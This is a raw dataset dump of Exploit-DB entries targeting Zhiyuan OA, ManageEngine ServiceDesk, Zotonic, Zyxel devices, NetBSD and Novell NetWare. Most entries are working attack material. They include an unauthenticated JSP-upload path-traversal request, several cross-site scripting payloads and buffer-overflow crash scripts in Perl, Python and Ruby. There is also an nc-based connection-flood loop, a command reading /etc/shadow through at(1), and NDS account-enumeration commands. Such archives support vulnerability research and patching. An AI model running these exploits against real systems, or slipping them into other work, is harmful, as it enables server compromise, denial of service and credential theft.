deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52490
Description: Zhiyuan OA - arbitrary file upload leading
Type: webapps
Platform: multiple
Date: 2026-04-06
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: Zhiyuan OA  - arbitrary file upload leading 
# Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2"
# Date: 1-11-2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://service.seeyon.com/
# Software Link: [vendor download / product page if available]
# Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck)
# Tested on: MacOS
# CVE: CVE-2025-34040

Description:
A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution.

High-level reproduction template (redacted — non-actionable):
POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) — DO NOT include such server-side code here.

Impact:
- Remote code execution if the uploaded file is accessible and executable.
- Complete server compromise and pivoting to internal networks.
- Data exfiltration, persistence, and further lateral movement.

References:
- NVD CVE-2025-34040 (NVD entry – awaiting enrichment)
- VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
- CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627
- Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html

POC;
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=......
Accept-Encoding: gzip

--......
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel

<% out.println("HelloWorld");%>
--.......--
Exploit-DB #46895
Description: Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-05-22
Author: Vingroup

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus 9.3 Cross-Site Scripting
# Date: 2019-05-21
# Exploit Author: Enter of VinCSS (Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus 9.3
# CVE : CVE-2019-12189


An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SearchN.do search field.

The vulnerability stems from the confusion of both single quotes and semicolon in the query string of the URL.

payload: ';alert('XSS');' Attack vector: http:///site.com/SearchN.do
Exploit-DB #46894
Description: Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions
Type: webapps
Platform: multiple
Date: 2019-05-22
Author: Vingroup

Exploit:
# Exploit Title: Zoho ManageEngine ServiceDesk Plus < 10.5 Incorrect Access Control
# Date: 2019-05-21
# Exploit Author: Enter of VinCSS (Vingroup)
# Vendor Homepage: https://www.manageengine.com/products/service-desk
# Version: Zoho ManageEngine ServiceDesk Plus < 10.5
# CVE : CVE-2019-12252



In Zoho ManageEngine ServiceDesk Plus through 10.5, users with the lowest privileges (guest) can view an arbitrary post by appending its number to the 

SDNotify.do?notifyModule=Solution&mode=E-Mail&notifyTo=SOLFORWARD&id= substring
Exploit-DB #46788
Description: Zotonic < 0.47.0 mod_admin - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-05-03
Author: Ramòn Janssen

Exploit:
# Exploit Title: Zotonic <=0.46 mod_admin (Erlang) - Reflective Cross-Site Scripting
# Date: 24-04-2019
# Exploit Author: Ramòn Janssen
# Researchers: Jan-martin Sijs, Joost Quist, Joost Vondeling, Ramòn Janssen
# Vendor Homepage: http://zotonic.com/
# Software Link: https://github.com/zotonic/zotonic/releases/tag/0.46.0
# Version: <=0.46
# CVE : CVE-2019-11504

Attack type
Remote

Impact
Code Execution

Zotonic versions prior to 0.47 have multiple authenticated Reflected Cross-Site Scripting (XSS) vulnerabilities in the management module. The vulnerabilitie can be exploited when an authenticated user with administrative permissions visits the crafted URL (i.e. when phished or visits a website containing the URL). The XSS effects the following URLs and parameters of the management module:
- /admin/overview/ [qcat, qcustompivot, qs]
- /admin/users/ [qs]
- /admin/media/ [qcat,qcustompivot, qs]

Example: https://[host]/admin/overview?qcustompivot="><script>prompt(‘XSS’)</script>

Affected source code file zotonic_mod_admin:
- zotonic_mod_admin_identity\priv\templates\_admin_sort_header.tpl
- zotonic_mod_admin_identity\priv\templates\admin_users.tpl

Reference(s)
http://docs.zotonic.com/en/latest/developer-guide/releasenotes/rel_0.47.0.html
Exploit-DB #35012
Description: ZYXEL P-660R-T1 V2 - 'HomeCurrent_Date' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-11-23
Author: Usman Saeed

Exploit:
source: https://www.securityfocus.com/bid/45027/info

ZyXEL P-660R-T1 V2 is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Forms/home_1?&HomeCurrent_Date=&#039;<sCript>alert(1);</ScRiPt>&#039;01%2F01%2F2000
Exploit-DB #50797
Description: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2022-03-02
Author: Momen Eldawakhly

Exploit:
# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)
# Date: 1/3/2022
# Exploit Author: Momen Eldawakhly (CyberGuy)
# Vendor Homepage: https://www.zyxel.com
# Version: ZyWALL 2 Plus
# Tested on: Ubuntu Linux [Firefox]
# CVE : CVE-2021-46387

GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1
Host: vuln.ip:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #42272
Description: NetBSD - 'Stack Clash' (PoC)
Type: dos
Platform: netbsd_x86
Date: 2017-06-28
Author: Qualys Corporation

Exploit:
/*
 * NetBSD_CVE-2[PII_REDACTED].c (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static void
smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        smash_no_jump(smash_size - sizeof(buf));
}

int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (argc != 2) die();
    const size_t smash_size = strtoul(argv[1], NULL, 0);
    if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
    smash_no_jump(smash_size);
    exit(EXIT_SUCCESS);
}
Exploit-DB #29204
Description: NetBSD 3.1 - 'FTPd / Tnftpd' Port Remote Buffer Overflow
Type: dos
Platform: netbsd_x86
Date: 2006-12-01
Author: kcope

Exploit:
source: https://www.securityfocus.com/bid/21377/info

NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory.

Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions.

#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based
buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope

use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
                             PeerPort => '21',
                             Proto    => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = ;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
       print;
}
Exploit-DB #12652
Description: NetBSD 5.0 - Hack GENOCIDE Environment Overflow (PoC)
Type: dos
Platform: netbsd_x86
Date: 2010-05-18
Author: JMIT

Exploit:
#!/bin/sh

# NetBSD 5.0 and below Hack GENOCIDE Environment overflow proof of concept 
# Successfull Exploitation gives guid 100 (games)
# Vulnerable Function is in hack.main.c.
# /usr/games/hack -D use the wizard mode. Only work in wizard mode.
# It is a basic strcpy stack overflow. Such overflows are hard to exploit in
# NetBSD. If you can exploit it successfully feel free to contact me
# Original Advisorie: NetBSD-SA2009-007

# Title: hack rougelike game GENOCIDE stack overflow
# Author: JMIT (office@johannesmaria.at)
# Date: 18. May 2010
# Software Link: Contained in all NetBSD Distributions as default
# Version: NetBSD 5.0 and below
# Tested on: NetBSD 5.0-RELEASE
# CVE: Not available. See NetBSD-SA2009-007
# Code:


# office@johannesmaria.at

export GENOCIDED=`perl -e 'print "X"x15400;print "\x41\x42\x43\x44"x15'` && /usr/games/hack -D
Exploit-DB #12653
Description: NetBSD 5.0 - Hack PATH Environment Overflow (PoC)
Type: dos
Platform: netbsd_x86
Date: 2010-05-18
Author: JMIT

Exploit:
#!/bin/sh

# NetBSD 5.0 and below Hack PATH Environment overflow proof of concept
# Successfull Exploitation gives guid 100 (games)
# Vulnerable Function is in hack.unix.c
# It is a basic strcpy stack overflow. Such overflows are hard to exploit in
# NetBSD. If you can exploit it successfully feel free to contact me
# Original Advisorie: NetBSD-SA2009-007

# Title: hack rougelike game PATH stack overflow
# Author: JMIT (office@johannesmaria.at)
# Date: 18. May 2010
# Software Link: Contained in all NetBSD Distributions as default
# Version: NetBSD 5.0 and below
# Tested on: NetBSD 5.0-RELEASE
# CVE: Not available. See NetBSD-SA2009-007
# Code:

export PATH=`/usr/pkg/bin/perl -e 'printf("A"x1000);printf("\x41\xb0\xe5\xbf\xbf"x15);'`:/bin:/usr/bin:/usr/sbin:/sbin:/usr/games && hack
Exploit-DB #19261
Description: NetBSD 1.3.2 / SGI IRIX 6.5.1 - 'at(1)' Read File
Type: local
Platform: netbsd_x86
Date: 1998-06-27
Author: Gutierrez

Exploit:
source: https://www.securityfocus.com/bid/331/info

A vulnerability exists in NetBSD version 1.3.2 and lower, and Silicon Graphics Inc's IRIX versions 6.2, 6.3, 6.4, 6.5 and 6.5.1. The at(1) program can be supplied with a -f flag, and an error is access validation can result in the mailing of portions of unreadable files to any user who can run at.

At uses seteuid to set the appropriate user id to run under. However, it incorrectly sets its real and effective uid to 0 prior to opening the filename passed to the -f flag. This allows any user to read any file on the filesystem. 

$ at -f /etc/shadow now + 1 minute

This will mail back a portion of the shadow file to the user.
Exploit-DB #21364
Description: NetBSD 1.x - 'TalkD' User Validation
Type: remote
Platform: netbsd_x86
Date: 2002-04-03
Author: Tekno pHReak

Exploit:
source: https://www.securityfocus.com/bid/4419/info

talkd is a client-server application shipped with many Unix and Linux variants that is used for communication between users locally or remotely.

talkd does not perform adequate validation of users making talk requests. As a result, it is possible for an attacker to spoof users during a talk session.

This problem is exploitable remotely or locally and may aid an attacker in social engineering attacks.

A malicious version of the NetBSD talkd component was used to exploit this issue, so it can be assumed that NetBSD is affected by this issue. However, talkd ships as a core component for a number of Linux and Unix variants and is independently maintained by the various distributions, so it is highly probable that many other operating systems are affected by this vulnerability. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21364.tar.gz
Exploit-DB #17020
Description: Novell Netware - NWFTPD.NLM DELE Remote Code Execution
Type: dos
Platform: netware
Date: 2011-03-21
Author: Francis Provencher

Exploit:
#!/usr/bin/python
 
import socket, sys

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25
 
host = (sys.argv[1])
data = "\x44\x45\x4c\x45\x20\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47\x48\x48\x44\x43\x42\x41\x0d\x0a"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
	s.connect((host, 21))
	d=s.recv(1024)
	print (d)
	s.send("USER toto\r\n") #anonymous login so anything goes
	d=s.recv(1024)
	print (d)
	s.send("PASS toto\r\n")
	d=s.recv(1024)
	print (d)
	s.send(data)
	d=s.recv(1024)
	print (d)
	s.close()
	
	try:
		s.connect((host,21))
	except:
		print ("\r\n[i] Beep Beep, take a look to your Abend log file.")
except:
	print ("[i] Error")
Exploit-DB #16234
Description: Novell Netware - RPC XNFS xdrDecodeString
Type: dos
Platform: netware
Date: 2011-02-24
Author: Francis Provencher

Exploit:
#!/usr/bin/ruby

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24

require 'socket'

netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)


beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT  (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"




puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(netware_server && target_port))
    puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
    exit
else
    puts "[+]Sending UDP Packet...\n"
    sock = UDPSocket.open
    sock.connect(netware_server, target_port.to_i)
    sock.send(beepbeep, 0)
end
Exploit-DB #19854
Description: Novell Netware 5.1 - Remote Administration Buffer Overflow
Type: dos
Platform: netware
Date: 2000-04-19
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/1118/info


The Netware Remote Administration utility can be compromised to allow arbitrary code to be remotely run on the server.

The Remote Administration server is basically a simple webserver, and if sent a GET request of between 4 and 8 kb, some of the data gets written to executable registers.

Even without executable code being sent, this can lead to a DoS as although the server will not crash, the connection will not be aborted or cleaned. Therefore, these failed requests can be made repeatedly until the TCP/IP subsystem will no longer accept connection requests. 

#!/bin/sh

SERVER=127.0.0.1
PORT=8008
WAIT=3

DUZOA=`perl -e '{print "A"x4093}'`
MAX=30

while :; do
  ILE=0
  while [ $ILE -lt $MAX ]; do
    (
      (
        echo "GET /"
        echo $DUZOA
        echo
      ) | nc $SERVER $PORT &
      sleep $WAIT
      kill -9 $!
    ) &>/dev/null &
    ILE=$[ILE+1]
  done
  sleep $WAIT
done
Exploit-DB #22949
Description: Novell Netware Enterprise Web Server 5.1/6.0 - 'CGI2Perl.NLM' Buffer Overflow (PoC)
Type: dos
Platform: netware
Date: 2003-07-23
Author: Uffe Nielsen

Exploit:
source: https://www.securityfocus.com/bid/8251/info

Novell Netware Enterprise Web Server cgi2perl.nlm has been reported prone to a buffer overflow vulnerability.

The issue presents itself, likely due to insufficient bounds checking performed on user-supplied data. It has been reported that a remote attacker may send data in a manner sufficient to trigger the condition, and cause one or more server ABEND conditions.

http://www.example.com/perl/aaaaaa...[Unspecified number of characters]
Exploit-DB #19365
Description: Novell Netware 4.1/4.11 - SP5B NDS Default Rights
Type: remote
Platform: netware
Date: 1999-04-09
Author: Simple Nomad

Exploit:
source: https://www.securityfocus.com/bid/484/info

Non-authenticated clients have access to CX.EXE and NLIST.EXE in the SYS:LOGIN directory of a Netware 4.x server. The default root access is set to Read. Therefore, by using various switch options in CX.EXE and NLIST.EXE, anyone connecting to the server can gain access to NDS tree information such as account names, group names and membership, tree layout etc. By attaching to different servers and switching contexts an intruder could gain an understanding of the NDS structure for the entire network. 

The following commands can be issued by a client connected to a NetWare 4.x or IntranetWare server, revealing most if not all user account names, in addition to most of if not the entire tree layout.
CX /T /A /R - list all readable user and container object names in tree, and can give a rather accurate layout of the containers and basic contents
NLIST USER /D - list info regarding user names in current context
NLIST GROUPS /D - list groups and group membership in current context
NLIST SERVER /D - list server names and OS versions, and if attached reveal if accounting is installed or not
NLIST /OT=* /DYN /D - list all readable objects, including dynamic objects, names of NDS trees, etc
Exploit-DB #23586
Description: Novell Netware Enterprise Web Server 5.1/6.0 - env.bas Information Disclosure
Type: remote
Platform: netware
Date: 2004-01-23
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9479/info

Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas
Exploit-DB #23589
Description: Novell Netware Enterprise Web Server 5.1/6.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: netware
Date: 2004-01-23
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9479/info
   
Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/perl/\<sCRIPT>alert("d")</sCRIPT>\.pl
http://www.example.com/perl/<script>alert('XSS')</script>.pl
http://www.example.com/servlet/webacc?User.id="><script>alert('XSS')</script>
http://www.example.com/servlet/webacc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=login&merge=webacc&action=User.Login&GWAP.ver
sion="><script>alert('XSS')</script>
Exploit-DB #23587
Description: Novell Netware Enterprise Web Server 5.1/6.0 - snoop.jsp Information Disclosure
Type: remote
Platform: netware
Date: 2004-01-23
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9479/info
 
Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/examples/jsp/snp/snoop.jsp
Exploit-DB #23588
Description: Novell Netware Enterprise Web Server 5.1/6.0 SnoopServlet - Information Disclosure
Type: remote
Platform: netware
Date: 2004-01-23
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9479/info
  
Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/servlet/SnoopServlet